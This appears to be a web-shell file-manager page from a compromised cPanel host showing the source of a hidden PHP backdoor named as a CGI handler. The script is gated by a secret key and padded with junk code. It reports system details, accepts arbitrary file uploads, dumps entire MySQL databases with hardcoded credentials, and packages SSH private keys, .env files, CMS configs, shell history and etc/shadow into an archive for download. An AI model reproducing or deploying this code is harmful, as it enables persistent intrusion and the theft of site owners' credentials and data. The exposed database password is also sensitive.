KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux 10-169-227-96.cprapid.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : kwssawblade ( 1099)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/kwssawblade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/kwssawblade/.cgi_handler_0a72e6c5
<?php
  if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '0a72e6c541ca53bf50a383fad56cd8eb') { return; }
while (ob_get_level()) ob_end_clean();
  $p7eca=str_repeat('x',0);
  set_time_limit(0);
	error_reporting(0);
	$b627f=chr(72).chr(113);
    ignore_user_abort(true);
    $h33c5  = 'localhost';
    $r7bd0  = 'kwssawblade_bkdump';
  $w63b5  = '2eUWrPS4CzaPQeyMCKb5bH0z5bE';
    $db8f3 = '/home/kwssawblade';
	$rea37  = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$g449c = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
    $a905e = $db8f3 . '/tmp/' . $g449c . '_dump.sql.gz';
  $k36be = $a905e . '.done';
    $kaa9f  = $a905e . '.err';
  header('Content-Type: application/json');
    function run_ctx_636a() {
if (!function_exists('exec')) return false;
  $ac8f8 = array_map('trim', explode(',', ini_get('disable_functions')));
    return !in_array('exec', $ac8f8);
}
    function proc_buf_829c() {
  if (!run_ctx_636a()) return false;
  $out = array();
  $rc = 0;
$i8bc6=array_merge(array(),array());
    exec('which mysqldump 2>/dev/null', $out, $rc);
  return $rc === 0;
}
  function check_val_c609() {
if (!run_ctx_636a()) return false;
    $s563f=strlen('332c6e');
  $out = array();
  $rc = 0;
    $i4ca8=str_repeat('x',0);
    exec('which gzip 2>/dev/null', $out, $rc);
  return $rc === 0;
  }
    function run_buf_112f($i3ebe, $b59cd, $vc6a0, $j2b0b, $m5d94, $v4ef7, $y4b0e) {
$conn = new mysqli($i3ebe, $b59cd, $vc6a0, $j2b0b);
    if ($conn->connect_error) {
  if(defined('9f83a36c')){$mc9d2=0;}
  file_put_contents($v4ef7, 'Connection failed: ' . $conn->connect_error);
touch($y4b0e);
$kf71d=strlen('35b5a6');
	return;
    }
	$fp = gzopen($m5d94, 'wb6');
	if (!$fp) {
	file_put_contents($v4ef7, 'Cannot open output file');
  touch($y4b0e);
    if(defined('830fa44c')){$qa2b9=0;}
	return;
    }
	$conn->set_charset('utf8mb4');
    gzwrite($fp, "-- Dump via PHP agent\n");
	gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
    gzwrite($fp, "SET NAMES utf8mb4;\n");
  gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
  $ib38b = array();
	$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
	while ($row = $r->fetch_row()) {
	$ib38b[] = $row[0];
    }
    foreach ($ib38b as $j5ef8) {
  $te = $conn->real_escape_string($j5ef8);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
    if(defined('41b77c7c')){$d6e29=0;}
if (!$r) continue;
	$cr = $r->fetch_row();
	gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
    gzwrite($fp, $cr[1] . ";\n\n");
	$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
    $k3c60=array_merge(array(),array());
	if (!$r) continue;
    $xc452 = array();
    $n433a = 0;
    while ($row = $r->fetch_row()) {
  $de176=max(0,min(1,0));
$vals = array();
    $ra0ee=chr(70).chr(98);
	for ($i = 0; $i < count($row); $i++) {
    if ($row[$i] === null) {
	$vals[] = 'NULL';
  } else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
  }
}
$w396a = '(' . implode(',', $vals) . ')';
    $j7843=str_repeat('x',0);
    $xc452[] = $w396a;
  $n433a += strlen($w396a);
	if (count($xc452) >= 100 || $n433a > 1048576) {
  gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $xc452) . ";\n");
  $xc452 = array();
$n433a = 0;
}
}
  if ($xc452) {
  gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $xc452) . ";\n");
	}
	$r->free();
	gzwrite($fp, "\n");
	}
    $r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
    if ($r) {
    while ($row = $r->fetch_row()) {
	$z9371=chr(71).chr(105);
	$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
    if ($cr) {
  $fcd49 = $cr->fetch_assoc();
  gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
	gzwrite($fp, $fcd49['Create View'] . ";\n\n");
  }
	}
	}
    $d3981 = array('PROCEDURE', 'FUNCTION');
    foreach ($d3981 as $t3799) {
  $r = $conn->query("SHOW {$t3799} STATUS WHERE Db = '" . $conn->real_escape_string($j2b0b) . "'");
  if (!$r) continue;
    while ($row = $r->fetch_assoc()) {
	$re = $conn->real_escape_string($row['Name']);
    $cr = $conn->query("SHOW CREATE {$t3799} `{$re}`");
  if (!$cr) continue;
	$fcd49 = $cr->fetch_assoc();
$key = ($t3799 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
    if (isset($fcd49[$key])) {
  gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$t3799} IF EXISTS `{$re}`;;\n");
	gzwrite($fp, $fcd49[$key] . ";;\n");
	gzwrite($fp, "DELIMITER ;\n\n");
}
}
  $c79c9=chr(67).chr(104);
}
  $mcd54=chr(81).chr(114);
	$r = $conn->query("SHOW TRIGGERS");
$r5e10=chr(85).chr(103);
	if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
    $cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
  if ($cr) {
  $fcd49 = $cr->fetch_assoc();
  gzwrite($fp, "DELIMITER ;;\n");
	gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
    $t0dd1=array_merge(array(),array());
  gzwrite($fp, $fcd49['SQL Original Statement'] . ";;\n");
  gzwrite($fp, "DELIMITER ;\n\n");
    $rfe02=chr(80).chr(109);
  }
    }
	}
    if(defined('87fabfa1')){$hf201=0;}
	gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
    $kd410=array_merge(array(),array());
  $conn->close();
	touch($y4b0e);
    if(defined('e4b68095')){$id675=0;}
	}
    switch ($rea37) {
  case 'info':
echo json_encode(array(
	'php'        => PHP_VERSION,
'os'         => PHP_OS,
	'server'     => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user'       => get_current_user(),
  'uid'        => getmyuid(),
  'home'       => $db8f3,
	'doc_root'   => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
	'free_disk'  => disk_free_space($db8f3),
    'total_disk' => disk_total_space($db8f3),
    'max_exec'   => ini_get('max_execution_time'),
	'mem_limit'  => ini_get('memory_limit'),
  'upload_max' => ini_get('upload_max_filesize'),
  'post_max'   => ini_get('post_max_size'),
	'disabled'   => ini_get('disable_functions'),
'can_exec'   => run_ctx_636a(),
	'has_mysqldump' => proc_buf_829c(),
  'has_gzip'   => check_val_c609(),
));
break;
case 'upload':
    $if758 = isset($_POST['path']) ? $_POST['path'] : '';
$id3f3 = isset($_POST['data']) ? $_POST['data'] : '';
    $iad27=chr(85).chr(99);
  if (!$if758 || !$id3f3) {
  echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
	break;
	@clearstatcache();
  }
	$qf1c0 = $db8f3 . '/' . $if758;
	@mkdir(dirname($qf1c0), 0755, true);
    $j2344 = base64_decode($id3f3);
    $f0ae6 = file_put_contents($qf1c0, $j2344);
    echo json_encode(array('ok' => $f0ae6 !== false, 'path' => $qf1c0, 'size' => strlen($j2344)));
  break;
	case 'check':
  if (!$g449c) {
  echo json_encode(array('error' => 'missing db parameter'));
	if(defined('bbb73024')){$n2f24=0;}
  break;
}
	$h3c6e = disk_free_space($db8f3);
    $kd650   = 0;
	$conn = @new mysqli($h33c5, $r7bd0, $w63b5, 'information_schema');
	$t32b5=chr(67).chr(102);
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
  . $conn->real_escape_string($g449c) . "'";
  $r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
    $kd650 = (int) $row['s'];
  }
$conn->close();
    }
  echo json_encode(array(
'free'          => $h3c6e,
	'db_size'       => $kd650,
	'has_mysqldump' => proc_buf_829c(),
    'has_gzip'      => check_val_c609(),
  'can_exec'      => run_ctx_636a(),
  'has_space'     => $h3c6e > $kd650 * 2,
	));
$y75d8=chr(71).chr(104);
	break;
case 'dump':
  if (!$g449c) {
echo json_encode(array('error' => 'missing db parameter'));
  $d1322=str_repeat('x',0);
  break;
	}
  @mkdir(dirname($a905e), 0755, true);
	@unlink($a905e);
@unlink($k36be);
    $p4df5=str_repeat('x',0);
  @unlink($kaa9f);
    if (proc_buf_829c()) {
	if (check_val_c609()) {
	$cmd = sprintf(
	'mysqldump --host=%s --user=%s --password=%s '
    . '--single-transaction --quick --routines --triggers %s '
  . '| gzip > %s 2>%s; touch %s',
    escapeshellarg($h33c5),
    escapeshellarg($r7bd0),
	escapeshellarg($w63b5),
escapeshellarg($g449c),
  escapeshellarg($a905e),
	escapeshellarg($kaa9f),
    escapeshellarg($k36be)
    );
    } else {
  $cmd = sprintf(
	'mysqldump --host=%s --user=%s --password=%s '
    . '--single-transaction --quick --routines --triggers %s '
  . '> %s 2>%s; touch %s',
  escapeshellarg($h33c5),
	escapeshellarg($r7bd0),
    escapeshellarg($w63b5),
escapeshellarg($g449c),
    escapeshellarg($a905e),
escapeshellarg($kaa9f),
escapeshellarg($k36be)
  );
    }
  exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
$ya9e0=max(0,min(1,1));
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => check_val_c609()));
    } else {
    ignore_user_abort(true);
  echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
    if (function_exists('fastcgi_finish_request')) {
	fastcgi_finish_request();
	} else {
    $f0a7e=strlen('e28b01');
	if (ob_get_level()) ob_end_flush();
flush();
$reca2=max(0,min(1,0));
	}
  $a8929=array_merge(array(),array());
	run_buf_112f($h33c5, $r7bd0, $w63b5, $g449c, $a905e, $kaa9f, $k36be);
	}
	break;
case 'status':
clearstatcache();
  @clearstatcache();
echo json_encode(array(
'done'  => file_exists($k36be),
    'size'  => file_exists($a905e) ? filesize($a905e) : 0,
    'error' => file_exists($kaa9f)  ? trim(file_get_contents($kaa9f)) : '',
	));
    break;
  case 'download':
if (!file_exists($a905e)) {
	http_response_code(404);
    exit;
}
header('Content-Type: application/octet-stream');
    header('Content-Length: ' . filesize($a905e));
readfile($a905e);
    exit;
    case 'cleanup':
  @unlink($a905e);
	@unlink($k36be);
@unlink($kaa9f);
  echo json_encode(array('ok' => true));
break;
	case 'collect':
    @mkdir($db8f3 . '/tmp', 0755, true);
	$r67a8 = substr($_REQUEST['_cxk'], 0, 8);
  $t2317 = array(
	'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
    'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
  'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
    'public_html/.env', '.env',
  'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
  'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
    'public_html/config/environments/staging.php', 'config/environments/staging.php',
	'public_html/config/environments/production.php', 'config/environments/production.php',
  'public_html/auth.json', 'auth.json',
  ),
  ),
  'joomla' => array(
	'detect' => array('public_html/configuration.php', 'configuration.php'),
    'configs' => array(
  'public_html/configuration.php', 'configuration.php',
	'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
  ),
	'laravel' => array(
  'detect' => array('public_html/artisan', 'artisan'),
    'configs' => array(
  'public_html/.env', '.env', '.env.production', '.env.staging',
    'public_html/composer.json', 'composer.json',
    'public_html/composer.lock', 'composer.lock',
  'public_html/config/app.php', 'config/app.php',
  'public_html/config/database.php', 'config/database.php',
    'public_html/config/mail.php', 'config/mail.php',
    'public_html/config/filesystems.php', 'config/filesystems.php',
	'public_html/config/cache.php', 'config/cache.php',
	'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
	'public_html/config/auth.php', 'config/auth.php',
  'public_html/config/services.php', 'config/services.php',
  'public_html/config/broadcasting.php', 'config/broadcasting.php',
	'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
  ),
  'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
    'configs' => array(
  'public_html/app/etc/env.php', 'app/etc/env.php',
    'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
  'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
    ),
),
'magento1' => array(
  'detect' => array('public_html/app/Mage.php'),
	'configs' => array(
  'public_html/app/etc/local.xml',
  'public_html/app/etc/config.xml',
	),
  ),
'drupal' => array(
	'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
  'configs' => array(
  'public_html/sites/default/settings.php', 'sites/default/settings.php',
  'public_html/sites/default/services.yml', 'sites/default/services.yml',
    'public_html/composer.json', 'composer.json',
	'public_html/composer.lock', 'composer.lock',
  ),
	),
'prestashop' => array(
	'detect' => array('public_html/config/settings.inc.php'),
    'configs' => array(
    'public_html/config/settings.inc.php',
  'public_html/app/config/parameters.php',
  'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
  ),
'opencart' => array(
    'detect' => array('public_html/config.php'),
  'configs' => array(
'public_html/config.php',
    'public_html/admin/config.php',
	),
),
    'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
	'configs' => array('public_html/config.php'),
  ),
  'whmcs' => array(
  'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
	'public_html/configuration.php',
	'public_html/composer.json', 'public_html/composer.lock',
    ),
),
	);
    $t397b=chr(82).chr(104);
  $nc308 = null;
  foreach ($t2317 as $i98a0 => $bcf99) {
foreach ($bcf99['detect'] as $x1dd4) {
    if (file_exists($db8f3 . '/' . $x1dd4)) {
  $nc308 = $i98a0;
    break 2;
  }
  }
	}
	$k9fa7 = array(
	'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
    '.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
    '.ssh/config', '.ssh/known_hosts',
  '.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
	'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
    'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
  'public_html/.env.staging', 'public_html/.env.backup',
    'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
	'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
  'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
	'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
	'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
	'config/application.php',
  'config/environments/development.php',
'config/environments/staging.php',
    'config/environments/production.php',
    'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
	$m7b9f = array();
$r294e=str_repeat('x',0);
  $g350b = @realpath($db8f3);
    if (!$g350b || !is_dir($g350b)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
if(defined('0b6e96f1')){$c1d7f=0;}
break;
	}
foreach ($k9fa7 as $k492e) {
    $m9a2a = @realpath($db8f3 . '/' . $k492e);
	if (!$m9a2a || strpos($m9a2a, $g350b) !== 0) continue;
if (!is_file($m9a2a) || !is_readable($m9a2a)) continue;
  $b8c07 = @filesize($m9a2a);
	$i00e0=max(0,min(1,0));
	if ($b8c07 <= 0 || $b8c07 > 2097152) continue;
$m7b9f[$k492e] = $m9a2a;
  $k8fff=max(0,min(1,1));
  }
    if ($nc308 !== null && isset($t2317[$nc308]['configs'])) {
	foreach ($t2317[$nc308]['configs'] as $tb549) {
	if (isset($m7b9f[$tb549])) continue;
  $m9a2a = @realpath($db8f3 . '/' . $tb549);
  if (!$m9a2a || strpos($m9a2a, $g350b) !== 0) continue;
if (!is_file($m9a2a) || !is_readable($m9a2a)) continue;
	$b8c07 = @filesize($m9a2a);
	if ($b8c07 <= 0 || $b8c07 > 2097152) continue;
  $m7b9f[$tb549] = $m9a2a;
  }
	}
	$eeeda = $db8f3 . '/public_html';
    if (is_dir($eeeda)) {
  $dh = @opendir($eeeda);
    if ($dh) {
    $y8dec=max(0,min(1,1));
  while (($t0b6a = readdir($dh)) !== false) {
  if ($t0b6a === '.' || $t0b6a === '..') continue;
  $qf1c0 = $eeeda . '/' . $t0b6a;
    if (!is_file($qf1c0) || !is_readable($qf1c0)) continue;
    $b8c07 = @filesize($qf1c0);
  if ($b8c07 <= 0 || $b8c07 > 2097152) continue;
  if ($t0b6a[0] === '.' || strtolower(substr($t0b6a, -4)) === '.txt') {
	$key = 'public_html/' . $t0b6a;
if (!isset($m7b9f[$key])) $m7b9f[$key] = $qf1c0;
}
  $h3853=str_repeat('x',0);
	}
    closedir($dh);
    }
    }
  if (empty($m7b9f)) {
    echo json_encode(array(
    'ok' => true, 'method' => 'none', 'platform' => $nc308,
  'file_count' => 0, 'files_list' => array(),
	));
  break;
	}
  $z7b24 = null;
$m7213 = null;
	if (class_exists('ZipArchive')) {
$m7213 = $db8f3 . '/tmp/_collect_' . $r67a8 . '.zip';
if(defined('7ee4205e')){$zdfc1=0;}
$td4da = new ZipArchive();
    if ($td4da->open($m7213, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
	foreach ($m7b9f as $fc270 => $m9a2a) {
  $td4da->addFile($m9a2a, $fc270);
}
$i35ad=str_repeat('x',0);
	if ($td4da->close() && file_exists($m7213) && filesize($m7213) > 0) {
    $z7b24 = 'zip';
	$e08f9=max(0,min(1,1));
    }
  }
    }
	if (!$z7b24 && run_ctx_636a()) {
  $m7213 = $db8f3 . '/tmp/_collect_' . $r67a8 . '.tar.gz';
	$lf = $m7213 . '.list';
$fh = fopen($lf, 'w');
	foreach ($m7b9f as $fc270 => $m9a2a) {
	$q81b0=strlen('db83d7');
	fwrite($fh, $fc270 . "\n");
    }
    fclose($fh);
  $out = array();
    $rc = 0;
    exec('tar czf ' . escapeshellarg($m7213) . ' -C ' . escapeshellarg($db8f3)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
  @unlink($lf);
if ($rc === 0 && file_exists($m7213) && filesize($m7213) > 0) {
    $z7b24 = 'tar';
  @clearstatcache();
	} else {
    @unlink($m7213);
}
	if(defined('c8bdb3ff')){$zd4c7=0;}
  }
    if (!$z7b24) {
  $z7b24 = 'list';
    }
  echo json_encode(array(
'ok' => true, 'method' => $z7b24, 'platform' => $nc308,
  'file_count' => count($m7b9f), 'files_list' => array_keys($m7b9f),
  'size' => ($m7213 && file_exists($m7213)) ? filesize($m7213) : 0,
));
	break;
    case 'download_collect':
    $r67a8 = substr($_REQUEST['_cxk'], 0, 8);
@clearstatcache();
	$s2835 = $db8f3 . '/tmp/_collect_' . $r67a8 . '.zip';
    @clearstatcache();
  $k9b74 = $db8f3 . '/tmp/_collect_' . $r67a8 . '.tar.gz';
    $j6211 = file_exists($s2835) ? $s2835 : (file_exists($k9b74) ? $k9b74 : '');
if (!$j6211) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
  @clearstatcache();
  header('Content-Length: ' . filesize($j6211));
	readfile($j6211);
    exit;
	case 'download_file':
	$fc270 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
	if (!$fc270) { http_response_code(400); exit; }
    $g350b = @realpath($db8f3);
	$m9a2a = @realpath($db8f3 . '/' . $fc270);
	$kfbe1=strlen('509f62');
	if (!$m9a2a || !$g350b || strpos($m9a2a, $g350b) !== 0
	|| !is_file($m9a2a) || !is_readable($m9a2a)) {
    http_response_code(404);
  exit;
    }
    header('Content-Type: application/octet-stream');
    header('Content-Length: ' . filesize($m9a2a));
readfile($m9a2a);
  exit;
    case 'cleanup_collect':
    $r67a8 = substr($_REQUEST['_cxk'], 0, 8);
    @unlink($db8f3 . '/tmp/_collect_' . $r67a8 . '.zip');
@unlink($db8f3 . '/tmp/_collect_' . $r67a8 . '.tar.gz');
	@unlink($db8f3 . '/tmp/_collect_' . $r67a8 . '.tar.gz.list');
  echo json_encode(array('ok' => true));
	break;
}
exit;

Anon7 - 2021